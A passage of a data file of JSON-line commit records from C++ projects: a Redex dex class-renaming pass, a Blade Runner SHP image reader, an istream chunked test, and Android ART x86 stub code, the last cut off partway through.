{"text":"<commit_before>\/**\n * Copyright (c) 2016-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#include \"RenameClasses.h\"\n\n#include <algorithm>\n#include <map>\n#include <string>\n#include <vector>\n#include <unordered_set>\n#include <unordered_map>\n\n#include \"walkers.h\"\n#include \"DexClass.h\"\n#include \"DexInstruction.h\"\n#include \"DexUtil.h\"\n#include \"ReachableClasses.h\"\n\n#define MAX_DESCRIPTOR_LENGTH (1024)\n#define MAX_IDENT_CHAR (52)\n#define MAX_IDENT (MAX_IDENT_CHAR * MAX_IDENT_CHAR * MAX_IDENT_CHAR)\n\nint match_short = 0;\nint match_long = 0;\nint match_inner = 0;\n\nint base_strings_size = 0;\nint ren_strings_size = 0;\n\nstatic char getident(int num) {\n  if (num < 26) {\n    return 'a' + num;\n  } else {\n    return 'A' + num - 26;\n  }\n}\n\nvoid get_next_ident(char *out, int &num) {\n  \/\/ *sigh* re-write when not tired.\n  int low = num;\n  int mid = (num \/ 52);\n  int top = (mid \/ 52);\n  always_assert_log(num <= MAX_IDENT,\n                    \"Bailing, Ident %d, greater than maximum\\n\", num);\n  if (top) {\n    *out++ = getident(top - 1);\n    low -= (top *52*52);\n  }\n  if (mid) {\n    mid -= (top * 52);\n    *out++ = getident(mid);\n    low -= (mid * 52);\n  }\n  *out++ = getident(low);\n  *out++ = '\\0';\n  num++;\n}\n\nvoid unpackage_private(Scope &scope) {\n  walk_methods(scope,\n      [&](DexMethod *method) {\n        if (is_package_protected(method)) set_public(method);\n      });\n  walk_fields(scope,\n      [&](DexField *field) {\n        if (is_package_protected(field)) set_public(field);\n      });\n  for (auto clazz : scope) {\n    if (is_package_protected(clazz)) set_public(clazz);\n  }\n}\n\nbool should_rename(DexClass *clazz,\n    std::vector<std::string>& pre_patterns,\n    std::vector<std::string>& post_patterns,\n    std::unordered_set<const DexType*>& untouchables,\n    bool rename_annotations) {\n  if (!rename_annotations && is_annotation(clazz)) return false;\n  if (untouchables.count(clazz->get_type())) return false;\n  auto chstring = clazz->get_type()->get_name()->c_str();\n  \/* We're assuming anonymous classes are safe always safe to rename *\/\n  auto substr = strrchr(chstring, '$');\n  if (substr != nullptr) {\n    auto val = *++substr;\n    if (val >= '0' && val <= '9') {\n      match_inner++;\n      return true;\n    }\n  }\n  \/* Check for more aggressive, but finer grained filters first *\/\n  for (auto p : pre_patterns) {\n    auto substr = strstr(chstring, p.c_str());\n    if (substr != nullptr) {\n      if (p.length() > 1) {\n        match_long++;\n      } else {\n        match_short++;\n      }\n      return true;\n    }\n  }\n  if (!can_rename(clazz) && !can_delete(clazz)) {\n    return false;\n  }\n  \/* Check for wider, less precise filters *\/\n  for (auto p : post_patterns) {\n    auto substr = strstr(chstring, p.c_str());\n    if (substr != nullptr) {\n      if (p.length() > 1) {\n        match_long++;\n      } else {\n        match_short++;\n      }\n      return true;\n    }\n  }\n  return false;\n}\n\nvoid rename_classes(\n    Scope& scope,\n    std::vector<std::string>& pre_whitelist_patterns,\n    std::vector<std::string>& post_whitelist_patterns,\n    const std::string& path,\n    std::unordered_set<const DexType*>& untouchables,\n    bool rename_annotations) {\n  unpackage_private(scope);\n  int clazz_ident = 0;\n  std::map<DexString*, DexString*> aliases;\n  for(auto clazz: scope) {\n    if (!should_rename(\n        clazz, pre_whitelist_patterns, post_whitelist_patterns,\n        untouchables, rename_annotations)) {\n      continue;\n    }\n    char clzname[4];\n    char descriptor[10];\n    get_next_ident(clzname, clazz_ident);\n    \/\/ The X helps our hacked Dalvik classloader recognize that a\n    \/\/ class name is the output of the redex renamer and thus will\n    \/\/ never be found in the Android platform.\n    sprintf(descriptor, \"LX%s;\", clzname);\n    auto dstring = DexString::make_string(descriptor);\n    auto dtype = clazz->get_type();\n    auto oldname = dtype->get_name();\n    aliases[oldname] = dstring;\n    dtype->assign_name_alias(dstring);\n    base_strings_size += strlen(oldname->c_str());\n    base_strings_size += strlen(dstring->c_str());\n    TRACE(RENAME, 4, \"'%s'->'%s'\\n\", oldname->c_str(), descriptor);\n    while (1) {\n     std::string arrayop(\"[\");\n      arrayop += oldname->c_str();\n      oldname = DexString::get_string(arrayop.c_str());\n      if (oldname == nullptr) {\n        break;\n      }\n      auto arraytype = DexType::get_type(oldname);\n      if (arraytype == nullptr) {\n        break;\n      }\n      std::string newarraytype(\"[\");\n      newarraytype += dstring->c_str();\n      dstring = DexString::make_string(newarraytype.c_str());\n      aliases[oldname] = dstring;\n      arraytype->assign_name_alias(dstring);\n    }\n  }\n  \/* Now we need to re-write the Signature annotations.  They use\n   * Strings rather than Type's, so they have to be explicitly\n   * handled.\n   *\/\n\n  \/* Generics of the form Type<> turn into the Type string\n   * sans the ';'.  So, we have to alias those if they\n   * exist.  Signature annotations suck.\n   *\/\n  for (auto apair : aliases) {\n    char buf[MAX_DESCRIPTOR_LENGTH];\n    const char *sourcestr = apair.first->c_str();\n    size_t sourcelen = strlen(sourcestr);\n    if (sourcestr[sourcelen - 1] != ';') continue;\n    strcpy(buf, sourcestr);\n    buf[sourcelen - 1] = '\\0';\n    auto dstring = DexString::get_string(buf);\n    if (dstring == nullptr) continue;\n    strcpy(buf, apair.second->c_str());\n    buf[strlen(apair.second->c_str()) - 1] = '\\0';\n    auto target = DexString::make_string(buf);\n    aliases[dstring] = target;\n  }\n  walk_annotations(scope, [&](DexAnnotation* anno) {\n    static DexType *dalviksig =\n      DexType::get_type(\"Ldalvik\/annotation\/Signature;\");\n    if (anno->type() != dalviksig) return;\n    auto elems = anno->anno_elems();\n    for (auto elem : elems) {\n      auto ev = elem.encoded_value;\n      if (ev->evtype() != DEVT_ARRAY) continue;\n      auto arrayev = static_cast<DexEncodedValueArray*>(ev);\n      auto const& evs = arrayev->evalues();\n      for (auto strev : *evs) {\n        if (strev->evtype() != DEVT_STRING) continue;\n        auto stringev = static_cast<DexEncodedValueString*>(strev);\n        if (aliases.count(stringev->string())) {\n          TRACE(RENAME, 5, \"Rewriting Signature from '%s' to '%s'\\n\",\n              stringev->string()->c_str(),\n              aliases[stringev->string()]->c_str());\n          stringev->string(aliases[stringev->string()]);\n        }\n      }\n    }\n  });\n\n  if (!path.empty()) {\n    FILE* fd = fopen(path.c_str(), \"w\");\n    if (fd == nullptr) {\n      perror(\"Error writing rename file\");\n      return;\n    }\n    for (const auto &it : aliases) {\n      \/\/ record for later processing and back map generation\n      fprintf(fd, \"%s -> %s\\n\",it.first->c_str(),\n      it.second->c_str());\n    }\n    fclose(fd);\n  }\n\n  for (auto clazz : scope) {\n    clazz->get_vmethods().sort(compare_dexmethods);\n    clazz->get_dmethods().sort(compare_dexmethods);\n    clazz->get_sfields().sort(compare_dexfields);\n    clazz->get_ifields().sort(compare_dexfields);\n  }\n}\n\nvoid RenameClassesPass::run_pass(DexClassesVector& dexen, ConfigFiles& cfg) {\n  auto scope = build_class_scope(dexen);\n  std::unordered_set<const DexType*> untouchables;\n  for (const auto& base : m_untouchable_hierarchies) {\n    auto base_type = DexType::get_type(base.c_str());\n    if (base_type != nullptr) {\n      untouchables.insert(base_type);\n      TypeVector children;\n      get_all_children(base_type, children);\n      untouchables.insert(children.begin(), children.end());\n    }\n  }\n  rename_classes(\n      scope, m_pre_filter_whitelist, m_post_filter_whitelist, m_path,\n      untouchables, m_rename_annotations);\n  TRACE(RENAME, 1,\n      \"renamed classes: %d anon classes, %d from single char patterns, \"\n      \"%d from multi char patterns\\n\",\n      match_inner,\n      match_short,\n      match_long);\n  TRACE(RENAME, 1, \"String savings, at least %d bytes \\n\",\n      base_strings_size - ren_strings_size);\n}\n<commit_msg>renamer: preserve a token '$' if original class might have been inner class<commit_after>\/**\n * Copyright (c) 2016-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#include \"RenameClasses.h\"\n\n#include <algorithm>\n#include <map>\n#include <string>\n#include <vector>\n#include <unordered_set>\n#include <unordered_map>\n\n#include \"walkers.h\"\n#include \"DexClass.h\"\n#include \"DexInstruction.h\"\n#include \"DexUtil.h\"\n#include \"ReachableClasses.h\"\n\n#define MAX_DESCRIPTOR_LENGTH (1024)\n#define MAX_IDENT_CHAR (52)\n#define MAX_IDENT (MAX_IDENT_CHAR * MAX_IDENT_CHAR * MAX_IDENT_CHAR)\n\nint match_short = 0;\nint match_long = 0;\nint match_inner = 0;\n\nint base_strings_size = 0;\nint ren_strings_size = 0;\n\nstatic char getident(int num) {\n  if (num < 26) {\n    return 'a' + num;\n  } else {\n    return 'A' + num - 26;\n  }\n}\n\nvoid get_next_ident(char *out, int &num) {\n  \/\/ *sigh* re-write when not tired.\n  int low = num;\n  int mid = (num \/ 52);\n  int top = (mid \/ 52);\n  always_assert_log(num <= MAX_IDENT,\n                    \"Bailing, Ident %d, greater than maximum\\n\", num);\n  if (top) {\n    *out++ = getident(top - 1);\n    low -= (top *52*52);\n  }\n  if (mid) {\n    mid -= (top * 52);\n    *out++ = getident(mid);\n    low -= (mid * 52);\n  }\n  *out++ = getident(low);\n  *out++ = '\\0';\n  num++;\n}\n\nvoid unpackage_private(Scope &scope) {\n  walk_methods(scope,\n      [&](DexMethod *method) {\n        if (is_package_protected(method)) set_public(method);\n      });\n  walk_fields(scope,\n      [&](DexField *field) {\n        if (is_package_protected(field)) set_public(field);\n      });\n  for (auto clazz : scope) {\n    if (is_package_protected(clazz)) set_public(clazz);\n  }\n}\n\nbool should_rename(DexClass *clazz,\n    std::vector<std::string>& pre_patterns,\n    std::vector<std::string>& post_patterns,\n    std::unordered_set<const DexType*>& untouchables,\n    bool rename_annotations) {\n  if (!rename_annotations && is_annotation(clazz)) return false;\n  if (untouchables.count(clazz->get_type())) return false;\n  auto chstring = clazz->get_type()->get_name()->c_str();\n  \/* We're assuming anonymous classes are safe always safe to rename. *\/\n  auto substr = strrchr(chstring, '$');\n  if (substr != nullptr) {\n    auto val = *++substr;\n    if (val >= '0' && val <= '9') {\n      match_inner++;\n      return true;\n    }\n  }\n  \/* Check for more aggressive, but finer grained filters first *\/\n  for (auto p : pre_patterns) {\n    auto substr = strstr(chstring, p.c_str());\n    if (substr != nullptr) {\n      if (p.length() > 1) {\n        match_long++;\n      } else {\n        match_short++;\n      }\n      return true;\n    }\n  }\n  if (!can_rename(clazz) && !can_delete(clazz)) {\n    return false;\n  }\n  \/* Check for wider, less precise filters *\/\n  for (auto p : post_patterns) {\n    auto substr = strstr(chstring, p.c_str());\n    if (substr != nullptr) {\n      if (p.length() > 1) {\n        match_long++;\n      } else {\n        match_short++;\n      }\n      return true;\n    }\n  }\n  return false;\n}\n\nvoid rename_classes(\n    Scope& scope,\n    std::vector<std::string>& pre_whitelist_patterns,\n    std::vector<std::string>& post_whitelist_patterns,\n    const std::string& path,\n    std::unordered_set<const DexType*>& untouchables,\n    bool rename_annotations) {\n  unpackage_private(scope);\n  int clazz_ident = 0;\n  std::map<DexString*, DexString*> aliases;\n  for(auto clazz: scope) {\n    if (!should_rename(\n        clazz, pre_whitelist_patterns, post_whitelist_patterns,\n        untouchables, rename_annotations)) {\n      continue;\n    }\n    char clzname[4];\n    get_next_ident(clzname, clazz_ident);\n\n    auto dtype = clazz->get_type();\n    auto oldname = dtype->get_name();\n\n    \/\/ The X helps our hacked Dalvik classloader recognize that a\n    \/\/ class name is the output of the redex renamer and thus will\n    \/\/ never be found in the Android platform.\n    \/\/ The $ indicates that the class was originally an inner class.\n    \/\/ Some code, most notably android instrumentation runner, uses\n    \/\/ this information to decide whether or not to classload the class.\n    bool inner = strrchr(oldname->c_str(), '$');\n    char descriptor[10];\n    sprintf(descriptor, \"LX%s%s;\", inner ? \"$\" : \"\", clzname);\n    auto dstring = DexString::make_string(descriptor);\n    aliases[oldname] = dstring;\n    dtype->assign_name_alias(dstring);\n    base_strings_size += strlen(oldname->c_str());\n    base_strings_size += strlen(dstring->c_str());\n    TRACE(RENAME, 4, \"'%s'->'%s'\\n\", oldname->c_str(), descriptor);\n    while (1) {\n     std::string arrayop(\"[\");\n      arrayop += oldname->c_str();\n      oldname = DexString::get_string(arrayop.c_str());\n      if (oldname == nullptr) {\n        break;\n      }\n      auto arraytype = DexType::get_type(oldname);\n      if (arraytype == nullptr) {\n        break;\n      }\n      std::string newarraytype(\"[\");\n      newarraytype += dstring->c_str();\n      dstring = DexString::make_string(newarraytype.c_str());\n      aliases[oldname] = dstring;\n      arraytype->assign_name_alias(dstring);\n    }\n  }\n  \/* Now we need to re-write the Signature annotations.  They use\n   * Strings rather than Type's, so they have to be explicitly\n   * handled.\n   *\/\n\n  \/* Generics of the form Type<> turn into the Type string\n   * sans the ';'.  So, we have to alias those if they\n   * exist.  Signature annotations suck.\n   *\/\n  for (auto apair : aliases) {\n    char buf[MAX_DESCRIPTOR_LENGTH];\n    const char *sourcestr = apair.first->c_str();\n    size_t sourcelen = strlen(sourcestr);\n    if (sourcestr[sourcelen - 1] != ';') continue;\n    strcpy(buf, sourcestr);\n    buf[sourcelen - 1] = '\\0';\n    auto dstring = DexString::get_string(buf);\n    if (dstring == nullptr) continue;\n    strcpy(buf, apair.second->c_str());\n    buf[strlen(apair.second->c_str()) - 1] = '\\0';\n    auto target = DexString::make_string(buf);\n    aliases[dstring] = target;\n  }\n  walk_annotations(scope, [&](DexAnnotation* anno) {\n    static DexType *dalviksig =\n      DexType::get_type(\"Ldalvik\/annotation\/Signature;\");\n    if (anno->type() != dalviksig) return;\n    auto elems = anno->anno_elems();\n    for (auto elem : elems) {\n      auto ev = elem.encoded_value;\n      if (ev->evtype() != DEVT_ARRAY) continue;\n      auto arrayev = static_cast<DexEncodedValueArray*>(ev);\n      auto const& evs = arrayev->evalues();\n      for (auto strev : *evs) {\n        if (strev->evtype() != DEVT_STRING) continue;\n        auto stringev = static_cast<DexEncodedValueString*>(strev);\n        if (aliases.count(stringev->string())) {\n          TRACE(RENAME, 5, \"Rewriting Signature from '%s' to '%s'\\n\",\n              stringev->string()->c_str(),\n              aliases[stringev->string()]->c_str());\n          stringev->string(aliases[stringev->string()]);\n        }\n      }\n    }\n  });\n\n  if (!path.empty()) {\n    FILE* fd = fopen(path.c_str(), \"w\");\n    if (fd == nullptr) {\n      perror(\"Error writing rename file\");\n      return;\n    }\n    for (const auto &it : aliases) {\n      \/\/ record for later processing and back map generation\n      fprintf(fd, \"%s -> %s\\n\",it.first->c_str(),\n      it.second->c_str());\n    }\n    fclose(fd);\n  }\n\n  for (auto clazz : scope) {\n    clazz->get_vmethods().sort(compare_dexmethods);\n    clazz->get_dmethods().sort(compare_dexmethods);\n    clazz->get_sfields().sort(compare_dexfields);\n    clazz->get_ifields().sort(compare_dexfields);\n  }\n}\n\nvoid RenameClassesPass::run_pass(DexClassesVector& dexen, ConfigFiles& cfg) {\n  auto scope = build_class_scope(dexen);\n  std::unordered_set<const DexType*> untouchables;\n  for (const auto& base : m_untouchable_hierarchies) {\n    auto base_type = DexType::get_type(base.c_str());\n    if (base_type != nullptr) {\n      untouchables.insert(base_type);\n      TypeVector children;\n      get_all_children(base_type, children);\n      untouchables.insert(children.begin(), children.end());\n    }\n  }\n  rename_classes(\n      scope, m_pre_filter_whitelist, m_post_filter_whitelist, m_path,\n      untouchables, m_rename_annotations);\n  TRACE(RENAME, 1,\n      \"renamed classes: %d anon classes, %d from single char patterns, \"\n      \"%d from multi char patterns\\n\",\n      match_inner,\n      match_short,\n      match_long);\n  TRACE(RENAME, 1, \"String savings, at least %d bytes \\n\",\n      base_strings_size - ren_strings_size);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"shpfile.h\"\r\n#include <iostream>\r\n#include <vector>\r\n#include <png++\/png.hpp>\r\n\r\nvoid ShpFile::save_as_png(int idx, const std::string& filename)\r\n{\r\n\tstd::cout << \"Saving image \" << idx << \" to \" << filename << std::endl;\r\n\timages[idx].write(filename);\r\n}\r\n\r\nstd::istream& operator>>(std::istream& is, ShpFile& file)\r\n{\r\n\t\/\/ Blade Runner SHP is different from previous Westwood SHP files. \r\n\t\/\/ Each file starts with the number of images:\r\n\tis.read((char*)&file.num_images, sizeof(int32_t));\r\n\r\n\t\/\/ Each image has a header followed by the raw, high-color pixel data.\r\n\tfor (int i = 0; i < file.num_images; i++)\r\n\t{\r\n\t\tShpHeader info;\r\n\t\tis.read((char*)&info, sizeof(ShpHeader));\r\n\r\n\t\tpng::image<png::rgb_pixel> img(info.width, info.height);\r\n\t\tint16_t color;\r\n\t\tfor (int y = 0; y < info.height; y++)\r\n\t\t{\r\n\t\t\tfor (int x = 0; x < info.width; x++)\r\n\t\t\t{\r\n\t\t\t\tis.read((char*)&color, sizeof(int16_t));\r\n\t\t\t\tint8_t r = color >> 7 & 0xff;\r\n\t\t\t\tint8_t g = color >> 2 & 0xff;\r\n\t\t\t\tint8_t b = color << 3 & 0xff;\r\n\t\t\t\timg.set_pixel(x, y, png::rgb_pixel(r, g, b));\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfile.images.push_back(img);\r\n\t}\r\n\r\n\treturn is;\r\n}\r\n<commit_msg>Added comment<commit_after>#include \"shpfile.h\"\r\n#include <iostream>\r\n#include <vector>\r\n#include <png++\/png.hpp>\r\n\r\nvoid ShpFile::save_as_png(int idx, const std::string& filename)\r\n{\r\n\tstd::cout << \"Saving image \" << idx << \" to \" << filename << std::endl;\r\n\timages[idx].write(filename);\r\n}\r\n\r\n\/\/ TODO: can we write to png buffer directly?\r\nstd::istream& operator>>(std::istream& is, ShpFile& file)\r\n{\r\n\t\/\/ Blade Runner SHP is different from previous Westwood SHP files. \r\n\t\/\/ Each file starts with the number of images:\r\n\tis.read((char*)&file.num_images, sizeof(int32_t));\r\n\r\n\t\/\/ Each image has a header followed by the raw, high-color pixel data.\r\n\tfor (int i = 0; i < file.num_images; i++)\r\n\t{\r\n\t\tShpHeader info;\r\n\t\tis.read((char*)&info, sizeof(ShpHeader));\r\n\r\n\t\tpng::image<png::rgb_pixel> img(info.width, info.height);\r\n\t\tint16_t color;\r\n\t\tfor (int y = 0; y < info.height; y++)\r\n\t\t{\r\n\t\t\tfor (int x = 0; x < info.width; x++)\r\n\t\t\t{\r\n\t\t\t\tis.read((char*)&color, sizeof(int16_t));\r\n\t\t\t\tint8_t r = color >> 7 & 0xff;\r\n\t\t\t\tint8_t g = color >> 2 & 0xff;\r\n\t\t\t\tint8_t b = color << 3 & 0xff;\r\n\t\t\t\timg.set_pixel(x, y, png::rgb_pixel(r, g, b));\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfile.images.push_back(img);\r\n\t}\r\n\r\n\treturn is;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Attempts to eliminate all remaining type variations.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>ReadPSD: support for icc default profiles (rgb\/cmyk\/gray), blackpoint, rendering intent. issue #130<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"istream\/istream_chunked.hxx\"\n#include \"istream\/istream_string.hxx\"\n#include \"istream\/istream_internal.hxx\"\n#include \"pool.hxx\"\n\nstatic struct istream *\ncreate_input(struct pool *pool)\n{\n    return istream_string_new(pool, \"foo_bar_0123456789abcdefghijklmnopqrstuvwxyz\");\n}\n\nstatic struct istream *\ncreate_test(struct pool *pool, struct istream *input)\n{\n    return istream_chunked_new(pool, input);\n}\n\n#define CUSTOM_TEST\n\nstruct custom {\n    struct istream output;\n\n    bool eof;\n    GError *error;\n};\n\n\/*\n * istream handler\n *\n *\/\n\nstatic size_t\ncustom_istream_data(gcc_unused const void *data, gcc_unused size_t length,\n                    void *_ctx)\n{\n    auto *ctx = (struct custom *)_ctx;\n\n    istream_invoke_data(&ctx->output, \" \", 1);\n    return 0;\n}\n\nstatic void\ncustom_istream_eof(void *_ctx)\n{\n    auto *ctx = (struct custom *)_ctx;\n\n    ctx->eof = true;\n}\n\nstatic void\ncustom_istream_abort(GError *error, void *_ctx)\n{\n    auto *ctx = (struct custom *)_ctx;\n\n    ctx->error = error;\n}\n\nstatic const struct istream_handler custom_istream_handler = {\n    .data = custom_istream_data,\n    .direct = nullptr,\n    .eof = custom_istream_eof,\n    .abort = custom_istream_abort,\n};\n\n\/*\n * istream class\n *\n *\/\n\nstatic off_t\nistream_custom_available(gcc_unused struct istream *istream,\n                         gcc_unused bool partial)\n{\n    return 1;\n}\n\nstatic void\nistream_custom_read(gcc_unused struct istream *istream)\n{\n}\n\nstatic void\nistream_custom_close(struct istream *istream)\n{\n    istream_deinit(istream);\n}\n\nstatic const struct istream_class istream_custom = {\n    .available = istream_custom_available,\n    .skip = nullptr,\n    .read = istream_custom_read,\n    .as_fd = nullptr,\n    .close = istream_custom_close,\n};\n\nstatic void\ntest_custom(struct pool *pool)\n{\n    pool = pool_new_linear(pool, \"test\", 8192);\n    auto *ctx = NewFromPool<struct custom>(*pool);\n    istream_init(&ctx->output, &istream_custom, pool);\n\n    auto *chunked = istream_chunked_new(pool, &ctx->output);\n    istream_handler_set(chunked, &custom_istream_handler, ctx, 0);\n    pool_unref(pool);\n\n    istream_read(chunked);\n    istream_close(chunked);\n\n    pool_commit();\n}\n\n#include \"t_istream_filter.hxx\"\n<commit_msg>test\/t_istream_chunked: rename struct custom to Custom<commit_after>#include \"istream\/istream_chunked.hxx\"\n#include \"istream\/istream_string.hxx\"\n#include \"istream\/istream_internal.hxx\"\n#include \"pool.hxx\"\n\nstatic struct istream *\ncreate_input(struct pool *pool)\n{\n    return istream_string_new(pool, \"foo_bar_0123456789abcdefghijklmnopqrstuvwxyz\");\n}\n\nstatic struct istream *\ncreate_test(struct pool *pool, struct istream *input)\n{\n    return istream_chunked_new(pool, input);\n}\n\n#define CUSTOM_TEST\n\nstruct Custom {\n    struct istream output;\n\n    bool eof;\n    GError *error;\n};\n\n\/*\n * istream handler\n *\n *\/\n\nstatic size_t\ncustom_istream_data(gcc_unused const void *data, gcc_unused size_t length,\n                    void *_ctx)\n{\n    auto *ctx = (Custom *)_ctx;\n\n    istream_invoke_data(&ctx->output, \" \", 1);\n    return 0;\n}\n\nstatic void\ncustom_istream_eof(void *_ctx)\n{\n    auto *ctx = (Custom *)_ctx;\n\n    ctx->eof = true;\n}\n\nstatic void\ncustom_istream_abort(GError *error, void *_ctx)\n{\n    auto *ctx = (Custom *)_ctx;\n\n    ctx->error = error;\n}\n\nstatic const struct istream_handler custom_istream_handler = {\n    .data = custom_istream_data,\n    .direct = nullptr,\n    .eof = custom_istream_eof,\n    .abort = custom_istream_abort,\n};\n\n\/*\n * istream class\n *\n *\/\n\nstatic off_t\nistream_custom_available(gcc_unused struct istream *istream,\n                         gcc_unused bool partial)\n{\n    return 1;\n}\n\nstatic void\nistream_custom_read(gcc_unused struct istream *istream)\n{\n}\n\nstatic void\nistream_custom_close(struct istream *istream)\n{\n    istream_deinit(istream);\n}\n\nstatic const struct istream_class istream_custom = {\n    .available = istream_custom_available,\n    .skip = nullptr,\n    .read = istream_custom_read,\n    .as_fd = nullptr,\n    .close = istream_custom_close,\n};\n\nstatic void\ntest_custom(struct pool *pool)\n{\n    pool = pool_new_linear(pool, \"test\", 8192);\n    auto *ctx = NewFromPool<Custom>(*pool);\n    istream_init(&ctx->output, &istream_custom, pool);\n\n    auto *chunked = istream_chunked_new(pool, &ctx->output);\n    istream_handler_set(chunked, &custom_istream_handler, ctx, 0);\n    pool_unref(pool);\n\n    istream_read(chunked);\n    istream_close(chunked);\n\n    pool_commit();\n}\n\n#include \"t_istream_filter.hxx\"\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2011 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"assembler_x86.h\"\n#include \"jni_internal.h\"\n#include \"object.h\"\n#include \"stack_indirect_reference_table.h\"\n\n#define __ assembler->\n\nnamespace art {\nnamespace x86 {\n\nByteArray* X86CreateResolutionTrampoline(Runtime::TrampolineType) {\n  UniquePtr<X86Assembler> assembler(static_cast<X86Assembler*>(Assembler::Create(kX86)));\n\n  \/\/ TODO: unimplemented\n  __ int3();\n\n  assembler->EmitSlowPaths();\n  size_t cs = assembler->CodeSize();\n  SirtRef<ByteArray> resolution_trampoline(ByteArray::Alloc(cs));\n  CHECK(resolution_trampoline.get() != NULL);\n  MemoryRegion code(resolution_trampoline->GetData(), resolution_trampoline->GetLength());\n  assembler->FinalizeInstructions(code);\n\n  return resolution_trampoline.get();\n}\n\ntypedef void (*ThrowAme)(Method*, Thread*);\n\nByteArray* CreateAbstractMethodErrorStub() {\n  UniquePtr<X86Assembler> assembler(static_cast<X86Assembler*>(Assembler::Create(kX86)));\n\n  \/\/ return address\n  __ pushl(EDI);\n  __ pushl(ESI);\n  __ pushl(EBP);\n  __ pushl(Immediate(0));\n  __ pushl(Immediate(0));\n  __ pushl(Immediate(0));\n  __ pushl(Immediate(0));  \/\/ <-- callee save Method* to go here\n  __ movl(ECX, ESP);       \/\/ save ESP\n  __ pushl(Immediate(0));  \/\/ align frame\n  __ pushl(ECX);           \/\/ pass ESP for Method*\n  __ fs()->pushl(Address::Absolute(Thread::SelfOffset()));  \/\/ Thread*\n  __ pushl(EAX);           \/\/ pass Method*\n\n  \/\/ Call to throw AbstractMethodError.\n  __ Call(ThreadOffset(OFFSETOF_MEMBER(Thread, pThrowAbstractMethodErrorFromCode)),\n          X86ManagedRegister::FromCpuRegister(ECX));\n\n#if defined(ART_USE_LLVM_COMPILER)\n  \/\/ Return to caller who will handle pending exception.\n  __ addl(ESP, Immediate(28));\n  __ popl(EBX);\n  __ popl(EBP);\n  __ popl(ESI);\n  __ popl(EDI);\n  __ ret();\n#else\n  \/\/ Call never returns.\n  __ int3();\n#endif\n\n  assembler->EmitSlowPaths();\n\n  size_t cs = assembler->CodeSize();\n  SirtRef<ByteArray> abstract_stub(ByteArray::Alloc(cs));\n  CHECK(abstract_stub.get() != NULL);\n  MemoryRegion code(abstract_stub->GetData(), abstract_stub->GetLength());\n  assembler->FinalizeInstructions(code);\n\n  return abstract_stub.get();\n}\n\nByteArray* CreateJniDlsymLookupStub() {\n  UniquePtr<X86Assembler> assembler(static_cast<X86Assembler*>(Assembler::Create(kX86)));\n\n  \/\/ Pad stack to ensure 16-byte alignment\n  __ pushl(Immediate(0));\n  __ pushl(Immediate(0));\n  __ fs()->pushl(Address::Absolute(Thread::SelfOffset()));  \/\/ Thread*\n\n  __ Call(ThreadOffset(OFFSETOF_MEMBER(Thread, pFindNativeMethod)),\n          X86ManagedRegister::FromCpuRegister(ECX));\n\n  __ addl(ESP, Immediate(12));\n\n  Label no_native_code_found;  \/\/ forward declaration\n  __ cmpl(EAX, Immediate(0));\n  __ j(kEqual, &no_native_code_found);\n\n  __ jmp(EAX);  \/\/ Tail call into native code\n\n  __ Bind(&no_native_code_found);\n  __ ret(); \/\/ return to caller to handle exception\n\n  assembler->EmitSlowPaths();\n\n  size_t cs = assembler->CodeSize();\n  SirtRef<ByteArray> jni_stub(ByteArray::Alloc(cs));\n  CHECK(jni_stub.get() != NULL);\n  MemoryRegion code(jni_stub->GetData(), jni_stub->GetLength());\n  assembler->FinalizeInstructions(code);\n\n  return jni_stub.get();\n}\n\n} \/\/ namespace x86\n} \/\/ namespace art\n<commit_msg>Fix compiler_test for the LLVM route.<commit_after>\/*\n * Copyright (C) 2011 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"assembler_x86.h\"\n#include \"jni_internal.h\"\n#include \"object.h\"\n#include \"stack_indirect_reference_table.h\"\n\n#define __ assembler->\n\nnamespace art {\nnamespace x86 {\n\nByteArray* X86CreateResolutionTrampoline(Runtime::TrampolineType) {\n  UniquePtr<X86Assembler> assembler(static_cast<X86Assembler*>(Assembler::Create(kX86)));\n\n  \/\/ TODO: unimplemented\n  __ int3();\n\n  assembler->EmitSlowPaths();\n  size_t cs = assembler->CodeSize();\n  SirtRef<ByteArray> resolution_trampoline(ByteArray::Alloc(cs));\n  CHECK(resolution_trampoline.get() != NULL);\n  MemoryRegion code(resolution_trampoline->GetData(), resolution_trampoline->GetLength());\n  assembler->FinalizeInstructions(code);\n\n  return resolution_trampoline.get();\n}\n\ntypedef void (*ThrowAme)(Method*, Thread*);\n\nByteArray* CreateAbstractMethodErrorStub() {\n  UniquePtr<X86Assembler> assembler(static_cast<X86Assembler*>(Assembler::Create(kX86)));\n\n  \/\/ return address\n  __ pushl(EDI);\n  __ pushl(ESI);\n  __ pushl(EBP);\n  __ pushl(Immediate(0));\n  __ pushl(Immediate(0));\n  __ pushl(Immediate(0));\n  __ pushl(Immediate(0));  \/\/ <-- callee save Method* to go here\n  __ movl(ECX, ESP);       \/\/ save ESP\n  __ pushl(Immediate(0));  \/\/ align frame\n  __ pushl(ECX);           \/\/ pass ESP for 